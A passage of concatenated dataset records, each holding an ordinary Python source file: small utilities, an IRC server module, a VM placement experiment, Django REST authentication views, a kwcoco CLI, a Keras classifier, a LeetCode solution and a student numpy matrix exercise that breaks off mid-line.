+{"seq_id":"318854476","text":"def format_duration(seconds):\r\n\r\n    y = seconds//3600//24//365\r\n    dd = seconds//3600//24%365\r\n    hh = seconds//3600%24\r\n    mm = seconds//60%60\r\n    ss = seconds%60\r\n\r\n    nums = [y, dd, hh, mm, ss]\r\n    written = [\"year\", \"day\", \"hour\", \"minute\",\"second\"]\r\n\r\n    duration = [str(n)+\" \"+w+\"s\" if n>1 else str(n)+\" \"+w for n,w in zip(nums,written) if n >0]\r\n\r\n    return \", \".join(duration[:-1]) + \" and \" + duration[-1] if len(duration) > 1 else duration[0]\r\n\r\n\r\n\r\nprint(format_duration(3601))\r\n\r\ninput()\r\n","sub_path":"written date.py","file_name":"written date.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"192245197","text":"from twisted.plugin import IPlugin\nfrom twisted.words.protocols import irc\nfrom txircd.module_interface import Command, ICommand, IModuleData, ModuleData\nfrom zope.interface import implements\nfrom collections import defaultdict\n\nirc.RPL_LOCALUSERS = \"265\"\nirc.RPL_GLOBALUSERS = \"266\"\n\nclass LUsersCommand(ModuleData, Command):\n\timplements(IPlugin, IModuleData, ICommand)\n\t\n\tname = \"LUsersCommand\"\n\tcore = True\n\t\n\tdef actions(self):\n\t\treturn [ (\"welcome\", 6, lambda user: self.execute(user, {})) ]\n\t\n\tdef userCommands(self):\n\t\treturn [ (\"LUSERS\", 1, self) ]\n\n\tdef getStorage(self):\n\t\tif \"user_count_max\" not in self.ircd.storage:\n\t\t\tself.ircd.storage[\"user_count_max\"] = {}\n\t\treturn self.ircd.storage[\"user_count_max\"]\n\t\n\tdef updateMaxCounts(self, counts):\n\t\tmaxes = self.getStorage()\n\t\tfor key in (\"users\", \"local\"):\n\t\t\tif counts[key] > maxes.get(key, 0):\n\t\t\t\tmaxes[key] = counts[key]\n\t\treturn maxes\n\t\n\tdef countStats(self):\n\t\tcounts = defaultdict(lambda: 0)\n\t\tcounts[\"users\"] = len(self.ircd.users)\n\t\tcounts[\"servers\"] = len(self.ircd.servers) + 1\n\t\tcounts[\"channels\"] = len(self.ircd.channels)\n\n\t\tfor user in self.ircd.users.itervalues():\n\t\t\tif \"i\" in user.modes:\n\t\t\t\tcounts[\"invisible\"] += 1\n\t\t\tif \"o\" in user.modes:\n\t\t\t\tcounts[\"opers\"] += 1\n\t\t\tif user.uuid[:3] == self.ircd.serverID:\n\t\t\t\tcounts[\"local\"] += 1\n\n\t\tfor server in self.ircd.servers.itervalues():\n\t\t\tif server.nextClosest == self.ircd.serverID:\n\t\t\t\tcounts[\"localservers\"] += 1\n\n\t\tcounts[\"visible\"] = counts[\"users\"] - counts[\"invisible\"]\n\t\tmaxes = self.updateMaxCounts(counts)\n\t\treturn counts, maxes\n\t\n\tdef parseParams(self, user, params, prefix, tags):\n\t\treturn {}\n\t\n\tdef execute(self, user, data):\n\t\tcounts, maxes = self.countStats()\n\t\tuser.sendMessage(irc.RPL_LUSERCLIENT, \"There are {counts[visible]} users and {counts[invisible]} invisible on {counts[servers]} servers\".format(counts=counts))\n\t\tuser.sendMessage(irc.RPL_LUSEROP, str(counts[\"opers\"]), \"operator{} online\".format(\"\" if counts[\"opers\"] == 1 else \"s\"))\n\t\tuser.sendMessage(irc.RPL_LUSERCHANNELS, str(counts[\"channels\"]), \"channel{} formed\".format(\"\" if counts[\"channels\"] == 1 else \"s\"))\n\t\tuser.sendMessage(irc.RPL_LUSERME, \"I have {counts[local]} clients and {counts[localservers]} servers\".format(counts=counts))\n\t\tuser.sendMessage(irc.RPL_LOCALUSERS, \"Current Local Users: {}  Max: {}\".format(counts[\"local\"], maxes[\"local\"]))\n\t\tuser.sendMessage(irc.RPL_GLOBALUSERS, \"Current Global Users: {}  Max: {}\".format(counts[\"users\"], maxes[\"users\"]))\n\t\treturn True\n\nlusersCmd = LUsersCommand()","sub_path":"txircd/modules/rfc/cmd_lusers.py","file_name":"cmd_lusers.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"434758072","text":"import sys\nimport copy\n# import modules\nsys.path.append ('..')\nimport src.topo as topo\nimport src.cluster as cl\nimport src.alloc as alloc\nimport src.helper as helper\nimport os\nimport random\npath = \"output/\"\nimport numpy\n\n# cluster settings\ndef compare(fun, out, de):\n    bandwidth = 1000# 100 - 1000\n    m = 1\n    cluster_list = []\n    cluster_list2 = []\n    o = 10\n    s = 5\n    m = 1\n    n = 9\n    fanout = 1000\n\n    # request a req, return a expo distri one level tree\n    dc = topo.DataCenter ()\n    dc2 = topo.DataCenter()\n    root = dc.create_request (fanout, 2, 1000)\n    # root = dc.create_dc(5, 4, 1000, 10)\n\n    cpus = []\n    with open (\"input_host_cpu.txt\") as f:\n        cpus = f.readlines ()\n    cpus = [int (x.strip ()) for x in cpus]\n    for i in range(fanout):\n        dc.hosts[i].cpu = cpus[i]\n        dc.hosts[i].cpu_residue = cpus[i]\n        print(dc.hosts[i].cpu)\n        print(dc.hosts[i].cpu_residue)\n\n\n    # root=dc.create_dc(40, 8, 1000, 10)\n\n    # root = dc.create_dc (40, 4, 1000, 10)\n    # place m cluster into data center\n    for i in range (20):\n        cluster = cl.Cluster (i)\n\n        # bw = numpy.random.exponential (bandwidth)\n        # cluster.build_cluster_random(i, n, bandwidth)\n        # cluster.build_o_cluster(i,s , n, bandwidth, o)\n        # print n\n        # cluster.build_cluster (i, n, 4, bandwidth)\n\n        # cluster.build_cluster_costom (i, bandwidth)\n        # cluster.build_cluster_costom2 (i, bandwidth)\n        # cluster.build_cluster_costom4 (m, 40 * 4 / m, 500)\n        # cluster.build_o_cluster (i, 10, 40, 500, m * m)\n        cluster.build_cluster_costom(1,\"input_comm.csv\", \"input_cpu.txt\")\n\n        # alloc.max_save_place (dc, cluster)\n        # alloc.ffd(dc, cluster)\n        # alloc.random(dc, cluster)\n        # alloc.chroe(dc, cluster)\n        fun(dc, cluster, de)\n        # fun()\n\n\n        cluster_list.append (cluster)\n\n    # find time for each flow in the vms\n    # cpl_time = []\n    # for c in cluster_list:\n    #     comm = c.comm\n    #     # print comm\n    #     t = helper.get_cmp_time (dc, c)\n    #     for tt in t:\n    #         if tt > 1:\n    #             cpl_time.append (1 / tt[4])\n    #         else:\n    #             cpl_time.append (1)\n\n    # output time to file\n    # f = open (os.path.join (path, \"max_save.txt\"), \"w+\")\n    # for item in cpl_time:\n    #     print>> f, item\n    #\n    # total_t = 100\n    # task_number = 0\n    # for item in cpl_time:\n    #     task_number += total_t / item\n    # print task_number\n\n    hops = []\n    traffic = 0\n    hop_sum = 0\n    for c in cluster_list:\n        comm = c.comm\n        vms = c.vms\n        for i in range (len (comm)):\n            for j in range (i + 1, len (comm)):\n                if comm[i][j] == 0: continue\n                hop = helper.find_hops (vms[i], vms[j], dc)\n                if hop == 4:\n                    hop = 6\n                elif hop == 6:\n                    hop = 14\n                hops.append (hop)\n                traffic += comm[i][j] * hop\n                hop_sum += hop\n    print(\"traffic\")\n    print(traffic)\n    f = open (os.path.join (path, \"traffic_max.txt\"), \"a+\")\n    print(traffic, file=f)\n    print(hop_sum)\n\n    flow = []\n    tmp=0\n    for h in dc.hosts:\n        tmp1=0\n        for key in h.flows:\n            # flow.append(key * h.flows[key])\n            tmp1 += key * h.flows[key]\n            tmp += key * h.flows[key]\n        if tmp1 != 0:\n            flow.append(tmp1)\n    print(flow)\n    # for s in dc.switches[(fanout + 2):]:\n    #\n    #     if sum(s.flows) != 0:\n    #         flow.append(sum(s.flows * s.flows))\n    # print flow\n\n    # f = open (os.path.join (path, \"flows_max.txt\"), \"a+\")\n    f = open (os.path.join (path, out), \"a+\")\n    for item in flow:\n        print(item, file=f)\n\n\n    print(\"host used\")\n    count = 0\n    for host in dc.hosts:\n        if host.cpu_residue != host.cpu:\n            count+=1\n    print(count)\n\n    count = 0\n    print(\"vm placed\")\n    for vm in cluster.vms:\n        if vm.host != None:\n            count+=1\n    print(count)\n    #\n\n\n\n    print(\"each vm place in which host\")\n    for vm in cluster.vms:\n        print(vm.name, vm.host.name)\n\n    for h in dc.hosts:\n        print(h.cpu, h.cpu_residue)\n\n    print(\"fdajkld\")\n    print(tmp)\n\ndef clear(file):\n    open (file, 'w').close ()\n\nclear(\"flows_max2.txt\")\n# clear (\"flows_chroe.txt\")\nclear (\"flows_max1.txt\")\nclear (\"flows_random.txt\")\ncompare(alloc.max_save_place, \"flows_max2.txt\", alloc.degree2)\ncompare (alloc.max_save_place, \"flows_max1.txt\", alloc.degree1)\ncompare (alloc.random, \"flows_random.txt\", alloc.degree1)\n# compare (alloc.chroe, \"flows_chroe.txt\", alloc.degree1)\n\n# compare (alloc.random, \"flows_random.txt\", alloc.degree1)\n# compare (alloc.max_save_type, \"flows_max1.txt\", 'cc')\n# compare (alloc.max_save_type, \"flows_max2.txt\", 'degree')\n# compare (alloc.max_save_type, \"flows_max3.txt\", 'dc')\n","sub_path":"experiments/4.12/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"362058337","text":"from .serializers import *\nfrom django.contrib.auth import get_user_model\nfrom rest_framework import generics, parsers, renderers\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.authtoken.views import ObtainAuthToken\n\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.compat import coreapi, coreschema\nfrom rest_framework.response import Response\nfrom rest_framework.schemas import ManualSchema\nfrom rest_framework.views import APIView\n\nfrom .permissions import IsUserOnly\n\nclass UserListView(generics.ListAPIView):\n    \"\"\"\n        회원 리스트를 불러옵니다.\n\n        ---\n        # 권한\n            - 관리자 권한이 있는 경우, 모든 유저 리스트를 불러옵니다.\n            - 관리자 권한이 없는 경우, 해당 유저의 정보만 불러옵니다.\n\n        # type\n            - django, 카카오, 구글, 네이버로 분류됩니다.\n            - django일 경우, 소셜 로그인이 아닌 오늘의 집에서 가입한 유저입니다.\n\n        # 내용\n            - id : 유저의 고유 ID\n            - type : 소셜 로그인 분류\n            - username : 닉네임\n            - email : 이메일\n            - social_profile : 소셜 로그인 프로필 이미지 URL\n            - gender : 성별(1 = 남자, 2 = 여자)\n            - birthday : 생년월일\n            - message : 한줄 소개 내용\n            - profile : 프로필 이미지\n    \"\"\"\n    renderer_classes = [JSONRenderer] # JSON 형식으로만 받고 싶은 경우\n    queryset = get_user_model().objects.all()\n    serializer_class = UserSerializer\n    filterset_fields = ('email', 'username')\n\n    def get_queryset(self):\n        queryset = super().get_queryset()\n        if not self.request.user.is_staff:\n            queryset = queryset.filter(pk=self.request.user.id)\n        return queryset\n\nclass UserCreateView(generics.CreateAPIView):\n    \"\"\"\n        회원 계정을 생성합니다.\n\n        ---\n        다음과 같은 내용으로 요청할 수 있으며, 생성된 값이 리턴됩니다.\n\n            - email : \"사용할 이메일\"\n            - password : \"사용할 비밀번호\"\n            - username : \"사용할 닉네임\"\n    \"\"\"\n    serializer_class = UserCreateSerializer\n    # 회원가입시 토근권한이 없어도 가입할 수 있도록 권한 부여\n    permission_classes = (AllowAny,)\n\nclass UserUpdateView(generics.UpdateAPIView):\n    \"\"\"\n        회원 리스트의 ��정 id를 가지는 데이터를 수정합니다.\n\n        ---\n        # 권한\n            - 토큰 인증을 해야 합니다.\n\n        다음과 같은 내용으로 요청할 수 있으며, 수정된 값이 리턴됩니다.\n        요청은 PUT, FETCH로 나뉩니다.\n        profile의 경우, 파일을 업로드해야 하기 때문에 json으로 요청하실 수 없고 Postman을 사용해야 합니다.\n\n        # 내용\n            - username : \"변경할 닉네임\"\n            - gender : 성별(1 = 남자, 2 = 여자)\n            - birthday : \"YYYY-MM-DD\"\n            - message : \"변경할 한줄 소개 내용\"\n            - profile : \"변경할 유저의 프로필 이미지(파일 업로드이므로 json으로 요청 불가)\"\n    \"\"\"\n    queryset = get_user_model().objects.all()\n    serializer_class = UserModifySerializer\n    permission_classes = [IsUserOnly,]\n\nclass UserDetailView(generics.RetrieveAPIView):\n    \"\"\"\n        회원 리스트의 특정 id를 가지는 데이터를 불러옵니다.\n\n        ---\n        # 권한\n            - 토큰 인증을 해야 합니다.\n\n        # 내용\n            - id : 유저의 고유 ID\n            - username : 닉네임\n            - email : 이메일\n            - gender : 성별(1 = 남자, 2 = 여자)\n            - birthday : 생년월일\n            - message : 한줄 소개 내용\n            - profile : 프로필 이미지\n    \"\"\"\n    queryset = get_user_model().objects.all()\n    serializer_class = UserDetailSerializer\n    permission_classes = [IsUserOnly,]\n\nclass UserDeleteView(generics.DestroyAPIView):\n    \"\"\"\n        회원 리스트의 특정 id를 가지는 데이터를 삭제합니다.\n\n        ---\n        # 권한\n            - 토큰 인증을 해야 합니다.\n\n        회원 고유의 ID를 입력하면 삭제됩니다.\n    \"\"\"\n    queryset = get_user_model().objects.all()\n    permission_classes = [IsUserOnly,]\n\nclass UsernameObtainAuthToken(ObtainAuthToken):\n    \"\"\"\n        회원의 Token key를 생성합니다.\n\n        ---\n        ### Swagger에서 현재 parameter 값이 출력되지 않습니다.\n        ### Postman으로 다음과 같이 요청 테스트를 할 수 있습니다.\n            1) Postman 주소에 \"http://52.78.112.247/get_token/username/\"을 입력하고 주소 왼쪽에 POST를 선택합니다.\n            2) 주소 밑에 Body의 form-data를 선택합니다.\n            3) KEY에 \"username\"과 \"password\"를 입력합니다.\n            4) VALUE에 정보를 입력합니다.\n            5) SEND를 누르고 Body의 내용을 확인합니다.\n\n        ### 토큰을 사용하실 때에는 headers에 다음과 같이 입력합니다.\n            1) 사용할 주소를 선택하고 headers를 선택합니다.\n            2) KEY에 \"Authorization\"을 입력합니다.\n            3) VALUE에 \"Token 12313r3tw3wrgrgefqwrqwefw\"을 입력하고 SEND를 누릅니다.(*****반드시 Token을 붙여야 합니다.)\n            4) PUT, PATCH 요청인 경우, Body에 정보를 입력하고 SEND를 누릅니다.\n\n        다음과 같은 내용으로 요청할 수 있습니다.\n\n            - username : \"회원가입된 유저 닉네임\"\n            - password : \"회원가입된 유저 비밀번호\"\n\n        다음과 같은 내용으로 리턴됩니다.\n        ex)\n        ```\n        {\n            \"token\": \"142wfawefrq23r23rqwdawdvw12db434\"\n        }\n        ```\n    \"\"\"\n\n# 오늘의 집 사이트에서 가입한 유저에게 발급하는 토큰 뷰\nclass EmailObtainAuthToken(APIView):\n    \"\"\"\n        오늘의 집에서 가입한 회원의 Token key를 생성합니다.\n\n        ---\n        ### 소셜 로그인 사용자의 토큰은 \"http://52.78.112.247/get_token/social/\"로 요청하시기 바랍니다.\n        ### Swagger에서 현재 parameter 값이 출력되지 않습니다.\n        ### Postman으로 다음과 같이 요청 테스트를 할 수 있습니다.\n            1) Postman 주소에 \"http://52.78.112.247/get_token/\"을 입력하고 주소 왼쪽에 POST를 선택합니다.\n            2) 주소 밑에 Body의 form-data를 선택합니다.\n            3) KEY에 \"email\"과 \"password\"를 입력합니다.\n            4) VALUE에 정보를 입력합니다.\n            5) SEND를 누르고 Body의 내용을 확인합니다.\n\n        ### 토큰을 사용하실 때에는 headers에 다음과 같이 입력합니다.\n            1) 사용할 주소를 선택하고 headers를 선택합니다.\n            2) KEY에 \"Authorization\"을 입력합니다.\n            3) VALUE에 \"Token 12313r3tw3wrgrgefqwrqwefw\"을 입력하고 SEND를 누릅니다.(*****반드시 Token을 붙여야 합니다.)\n            4) PUT, PATCH 요청인 경우, Body에 정보를 입력하고 SEND를 누릅니다.\n\n        다음과 같은 내용으로 요청할 수 있습니다.\n\n            - email : \"회원가입된 유저 이메일\"\n            - password : \"회원가입된 유저 비밀번호\"\n\n        다음과 같은 내용으로 리턴됩니다.\n        ex)\n        ```\n        {\n            \"token\": \"142wfawefrq23r23rqwdawdvw12db434\"\n        }\n        ```\n    \"\"\"\n    throttle_classes = ()\n    permission_classes = ()\n    parser_classes = (parsers.FormParser, parsers.MultiPartParser, parsers.JSONParser,)\n    renderer_classes = (renderers.JSONRenderer,)\n    serializer_class = AuthTokenSerializer\n    if coreapi is not None and coreschema is not None:\n        schema = ManualSchema(\n            fields=[\n                coreapi.Field(\n                    name=\"email\",\n                    required=True,\n                    location='form',\n                    schema=coreschema.String(\n                        title=\"Email\",\n                        description=\"Valid email for authentication\",\n                    ),\n                ),\n                coreapi.Field(\n                    name=\"password\",\n                    required=True,\n                    location='form',\n                    schema=coreschema.String(\n                        title=\"Password\",\n                        description=\"Valid password for authentication\",\n                    ),\n                ),\n            ],\n            encoding=\"application/json\",\n        )\n\n    def post(self, request, *args, **kwargs):\n        serializer = self.serializer_class(data=request.data,\n                                           context={'request': request})\n        serializer.is_valid(raise_exception=True)\n        user = serializer.validated_data['user']\n        token, created = Token.objects.get_or_create(user=user)\n        return Response({'token': token.key})\n\n# 소셜 로그인으로 가입한 유저에게 발급하는 토큰 뷰\nclass SocialObtainAuthToken(APIView):\n    \"\"\"\n            소셜 로그인 사용자의 Token key를 생성합니다.\n\n            ---\n            ### 오늘의 집 로그인을 통해 가입한 사용자의 토큰은 \"http://52.78.112.247/get_token/\"으로 요청하시기 바랍니다.\n            ### Swagger에서 현재 parameter 값이 출력되지 않습니다.\n            ### Postman으로 다음과 같이 요청 테스트를 할 수 있습니다.\n                1) Postman 주소에 \"http://52.78.112.247/get_token/social/\"을 입력하고 주소 왼쪽에 POST를 선택합니다.\n                2) 주소 밑에 Body의 form-data를 선택합니다.\n                3) KEY에 \"type\", 'unique_user_id\", \"username\", \"email\", \"social_profile\"을 입력합니다.\n                4) VALUE에 정보를 입력합니다.\n                5) SEND를 누르고 Body의 내용을 확인합니다.\n\n            ### 토큰을 사용하실 때에는 headers에 다음과 같이 입력합니다.\n                1) 사용할 주소를 선택하고 headers를 선택합니다.\n                2) KEY에 \"Authorization\"을 입력합니다.\n                3) VALUE에 \"Token 12313r3tw3wrgrgefqwrqwefw\"을 입력하고 SEND를 누릅니다.(*****반드시 Token을 붙여야 합니다.)\n                4) PUT, PATCH 요청인 경우, Body에 정보를 입력하고 SEND를 누릅니다.\n\n            다음과 같은 내용으로 요청할 수 있습니다.\n\n                - type : \"한글로 카카오, 구글, 네이버 3가지 중에 하나를 입력하세요.\"\n                - unique_user_id : \"소셜 로그인에서 받아온 정보 중에 UniqueID를 입력하세요.\"\n                - username : \"소셜 로그인에서 받아온 정보 중에 username을 입력하세요.\"\n                - email : \"소셜 로그인에서 받아온 정보 중에 email을 입력하세요.\"\n                - social_profile : \"소셜 로그인에서 받아온 정보 중에 profile image URL을 입력하세요.\"\n\n            다음과 같은 내용으로 리턴됩니다.\n            ex)\n            ```\n            {\n                \"token\": \"142wfawefrq23r23rqwdawdvw12db434\"\n            }\n            ```\n        \"\"\"\n    throttle_classes = ()\n    permission_classes = ()\n    parser_classes = (parsers.FormParser, parsers.MultiPartParser, parsers.JSONParser,)\n    renderer_classes = (renderers.JSONRenderer,)\n    serializer_class = SocialAuthTokenSerializer\n    if coreapi is not None and coreschema is not None:\n        schema = ManualSchema(\n            fields=[\n                coreapi.Field(\n                    name=\"type\",\n                    required=True,\n                    location='form',\n                    schema=coreschema.String(\n                        title=\"Type\",\n                        description=\"Valid Type for authentication\",\n                    ),\n                ),\n                coreapi.Field(\n                    name=\"unique_user_id\",\n                    required=True,\n                    location='form',\n                    schema=coreschema.String(\n                        title=\"UniqueID\",\n                        description=\"Valid UniqueID for authentication\",\n                    ),\n                ),\n                coreapi.Field(\n                    name=\"username\",\n                    required=True,\n                    location='form',\n                    schema=coreschema.String(\n                        title=\"Username\",\n                        description=\"Valid Username for authentication\",\n                    ),\n                ),\n                coreapi.Field(\n                    name=\"email\",\n                    required=True,\n                    location='form',\n                    schema=coreschema.String(\n                        title=\"Email\",\n                        description=\"Valid Email for authentication\",\n                    ),\n                ),\n                coreapi.Field(\n                    name=\"social_profile\",\n                    required=True,\n                    location='form',\n                    schema=coreschema.String(\n                        title=\"Social_profile\",\n                        description=\"Valid Social profile for authentication\",\n                    ),\n                ),\n            ],\n            encoding=\"application/json\",\n        )\n\n    def post(self, request, *args, **kwargs):\n        serializer = self.serializer_class(data=request.data,\n                                           context={'request': request})\n        serializer.is_valid(raise_exception=True)\n        user = serializer.validated_data['user']\n        token, created = Token.objects.get_or_create(user=user)\n        return Response({'token': token.key})","sub_path":"accounts/api_views.py","file_name":"api_views.py","file_ext":"py","file_size_in_byte":13924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"438149120","text":"#!/usr/bin/env python\nimport ubelt as ub\nimport scriptconfig as scfg\n\n\nclass CocoUnionCLI(object):\n    name = 'union'\n\n    class CLIConfig(scfg.DataConfig):\n        \"\"\"\n        Combine multiple COCO datasets into a single merged dataset.\n        \"\"\"\n        __command__ = 'union'\n\n        src = scfg.Value([], position=1, help='path to multiple input datasets', nargs='+')\n\n        dst = scfg.Value('combo.kwcoco.json', help='path to output dataset')\n\n        absolute = scfg.Value(False, isflag=1, help=ub.paragraph(\n                '''\n                if True, converts paths to absolute paths before doing union\n                '''))\n\n        remember_parent = scfg.Value(False, isflag=True, help=ub.paragraph(\n                '''\n                if True adds a union_parent item to each coco image and\n                video that indicate which file it is from\n                '''))\n\n        io_workers = scfg.Value('avail-2', help=ub.paragraph(\n            '''\n            number of workers to load input datasets. By default will use\n            available CPUs minus 2.\n            '''))\n\n        compress = scfg.Value('auto', help='if True writes results with compression')\n\n        __epilog__ = \"\"\"\n        Example Usage:\n            kwcoco union --src special:shapes8 special:shapes1 --dst=combo.kwcoco.json\n        \"\"\"\n\n    @classmethod\n    def main(cls, cmdline=True, **kw):\n        \"\"\"\n        Example:\n            >>> from kwcoco.cli.coco_union import *  # NOQA\n            >>> import ubelt as ub\n            >>> dpath = ub.Path.appdir('kwcoco/tests/cli/union').ensuredir()\n            >>> dst_fpath = dpath / 'combo.kwcoco.json'\n            >>> kw = {\n            >>>     'src': ['special:shapes8', 'special:shapes1'],\n            >>>     'dst': dst_fpath\n            >>> }\n            >>> cmdline = False\n            >>> cls = CocoUnionCLI\n            >>> cls.main(cmdline, **kw)\n        \"\"\"\n        config = cls.CLIConfig.cli(data=kw, cmdline=cmdline)\n        import kwcoco\n        print('config = {}'.format(ub.urepr(config, nl=1)))\n\n        if config.src is None:\n            raise Exception('must specify sources: {}'.format(config.src))\n\n        if len(config.src) == 0:\n            raise ValueError('Must provide at least one input dataset')\n\n        from kwcoco.util.util_parallel import coerce_num_workers\n        io_workers = config.io_workers\n        io_workers = coerce_num_workers(io_workers)\n        io_workers = min(io_workers, len(config.src))\n        if io_workers == 1:\n            io_workers = 0\n\n        if config.absolute:\n            postprocess = _postprocess_absolute\n        else:\n            postprocess = None\n\n        datasets = list(kwcoco.CocoDataset.coerce_multiple(\n            config.src, postprocess=postprocess, ordered=True,\n            workers=io_workers, mode='process', autobuild=False,\n        ))\n\n        print('Finished loading. Starting union.')\n        combo = kwcoco.CocoDataset.union(\n            *datasets,\n            remember_parent=config.remember_parent)\n\n        out_fpath = config.dst\n        out_dpath = ub.Path(out_fpath).parent\n\n        if not config.absolute:\n            # Handle the case where the output is not in the same path as the\n            # inputs.\n            curr_bundle = ub.Path(combo.bundle_dpath)\n            if curr_bundle != out_dpath:\n                combo.reroot(out_dpath, check=False)\n\n        if out_dpath:\n            ub.ensuredir(out_dpath)\n        print('Writing to out_fpath = {!r}'.format(out_fpath))\n        combo.fpath = out_fpath\n        dumpkw = {\n            'newlines': True,\n            'compress': config.compress,\n        }\n        combo.dump(combo.fpath, **dumpkw)\n\n\ndef _postprocess_absolute(dset):\n    dset._build_index()\n    dset.reroot(absolute=True)\n    return dset\n\n_CLI = CocoUnionCLI\n\nif __name__ == '__main__':\n    \"\"\"\n    CommandLine:\n        python -m kwcoco.cli.coco_union\n    \"\"\"\n    _CLI._main()\n","sub_path":"kwcoco/cli/coco_union.py","file_name":"coco_union.py","file_ext":"py","file_size_in_byte":3919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"620395213","text":"import pandas as pd\nimport numpy as np\nfrom tensorflow.keras import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\n\n\nclass CarEvaluationDataset:\n    def __init__(self, str_path):\n        # Loading CarDataset\n        print('Loading Car Dataset ... ')\n        self.ds_car = pd.read_csv(str_path)\n        self.X, self.y = self.preprocess()\n        \n    def __str__(self):\n        return f'{self.ds_car}'\n    \n    def __len__(self):\n        return len(self.processed_ds_car)\n\n    def __getitem__(self, idx):\n        if type(idx) is int: return (self.X.iloc[idx].values, self.y.iloc[idx])\n        else: return (self.X.iloc[idx,].values, self.y.iloc[idx,].values)\n\n    def getvaluesXy(self):\n        return (self.X.values, self.y.values)\n\n    # Preprocessing Car Dataset\n    def preprocess(self):\n        print('Preprocessing dataset ...')\n\n        new_ds_car = pd.DataFrame(data=self.ds_car)\n\n        columns = new_ds_car.columns.tolist()\n        for column in columns:\n            values = new_ds_car[column].drop_duplicates()\n            v = 0\n            for value in values:\n                if column != 'evaluation':\n                    new_column = f'{column}-{value}' \n                    new_ds_car[new_column] = new_ds_car[column]\n                    new_ds_car.loc[new_ds_car[new_column] != value, new_column] = 0\n                    new_ds_car.loc[new_ds_car[new_column] == value, new_column] = 1\n                else:\n                    new_ds_car.loc[new_ds_car[column] == value,column] = v\n                v+=1\n\n            if column != 'evaluation': new_ds_car.pop(column)\n            \n        X = new_ds_car.iloc[:, :-1]\n        y = new_ds_car.iloc[:,-1]\n        return (X,y)\n\ndef holdout_validation(dataset):\n    X, y = dataset.getvaluesXy()\n\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n    \n    return (X_train, X_test, y_train, y_test)    \n\ndef build_model(shape):\n    model = Sequential([\n        Dense(16, input_shape = [shape[1]], activation='relu'),\n        Dense(16, activation='relu'),\n        Dense(16, activation='relu'),\n        Dense(4, activation='softmax')\n    ])\n\n    return model\n\ndef fit_model(model, X_train, y_train, X_test, y_test, epochs):\n    model.compile(\n        optimizer='adam', \n        loss='sparse_categorical_crossentropy',\n        metrics=['accuracy']\n    )\n\n    #learning rate = 0.0001\n    model.fit(X_train, y_train, epochs=epochs, validation_data=(X_test, y_test))\n\n\n    \n\ncar_dataset = CarEvaluationDataset('datasets/car.csv')\n\nX_train, X_test, y_train, y_test = holdout_validation(dataset=car_dataset)\n\nprint(X_train)\n\n\nmodel = build_model(X_train.shape)\n\nfit_model(model=model, X_train=X_train, y_train=y_train, X_test=X_test, y_test=y_test, epochs=500)\n\n\n","sub_path":"car_evaluation.py","file_name":"car_evaluation.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"110934569","text":"# -*- coding: utf-8 -*-\n# @Time    : 2020/3/19 \n# @Author  : Edrain\n\"\"\"\n给出一个 32 位的有符号整数，你需要将这个整数中每位上的数字进行反转。\n\n示例 1:\n\n输入: 123\n输出: 321\n 示例 2:\n\n输入: -123\n输出: -321\n示例 3:\n\n输入: 120\n输出: 21\n注意:\n\n假设我们的环境只能存储得下 32 位的有符号整数，则其数值范围为 [−2^31,  2^31 − 1]。请根据这个假设，如果反转后整数溢出那么就返回 0。\n\"\"\"\nclass Solution:\n    def reverse(self, x: int) -> int:\n        str_x = str(abs(x))\n        str_new_x = str_x[::-1]\n        if x < 0:\n            new_x = int(str_new_x)\n            new_x = -new_x\n            # new_x = int(\"-\"+new_x)\n        else:\n            new_x = int(str_new_x)\n        # return new_x if -(1<<31) < x < (1<<31)-1 else 0\n        return new_x if -2147483648 < new_x < 2147483647 else 0  # 输出溢出检查\n\n\nif __name__ == '__main__':\n    s = Solution()\n    a = 1534236469\n    if -2147483648 < a < 2147483647:\n        print(\"ok\")\n    else:\n        print(\"no\")\n    print(s.reverse(a))\n    print(-(1 << 31))\n    print((1 << 31) - 1)\n    print(len('123'))\n    list = [1,2,3]\n    print(list.pop(-2))","sub_path":"leetcode/07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"440663213","text":"import numpy as np\nrow = 100\ncol = 100\nidentifier = int(input('Ingrese el número de su cédula: '))\ndimension = (100, 100)\nmatrix = np.ones(dimension)\n\ndef full(matrix):\n  for i in range(row):\n    for j in range(col):\n      matrix[i][j] = identifier\n  print('Matrix: ')\n  print(matrix)\n\ndef sumac(matrix):\n  sc= np.sum(matrix,axis=0,)\n  print('Sum colum of matrix : ', sc)\n\ndef sumaf(matrix):\n  sf= np.sum(matrix,axis=0,)\n  print('Sum file of matrix : ', sf)\n\ndef sumad(matrix):\n  sd = 0\n  for i in range(100):\n    sd += matrix[i][i]\n  print('Sum d of matrix diagonal: ', sd)\n\ndef multc(matrix):\n  mc= np.multiply(matrix,axis=0,)\n  print('multiply colum of matrix : ', mc)\n\ndef multf(matrix):\n  mf= np.multiply(matrix,axis=0,)\n  print('multiply file of matrix : ', mf)\n\ndef multd(matrix):\n  print('multiplicacion d of matrix diagonal: 0',)\n\n\n  \nfull(matrix)\n\n\nmenu = int (input(\"Prueba 1: \\n1.-Suma Columna\\n 2.-Suma Fila\\n 3.-Suma Diagonal\\n 4.-Multiplica Columna\\n 5.-Multiplica Fila\\n6.-Multiplica Diagonal\\n 7.- Salir\" ))\nwhile menu !=7:\n  if menu ==1:\n    sumac(matrix)\n  elif menu ==2:\n    sumaf(matrix)\n  elif menu ==3:\n    sumad(matrix)\n  elif menu ==4:\n    multc(matrix)\n  elif menu ==5:\n    